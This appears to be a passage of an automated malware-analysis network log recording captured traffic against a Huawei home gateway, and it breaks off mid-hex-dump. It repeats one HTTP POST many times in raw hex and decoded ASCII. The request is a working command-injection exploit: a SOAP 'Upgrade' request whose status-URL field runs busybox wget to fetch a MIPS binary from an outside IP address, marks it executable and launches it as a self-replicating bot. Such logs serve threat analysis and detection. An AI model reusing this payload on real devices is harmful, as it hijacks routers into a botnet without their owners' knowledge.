6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 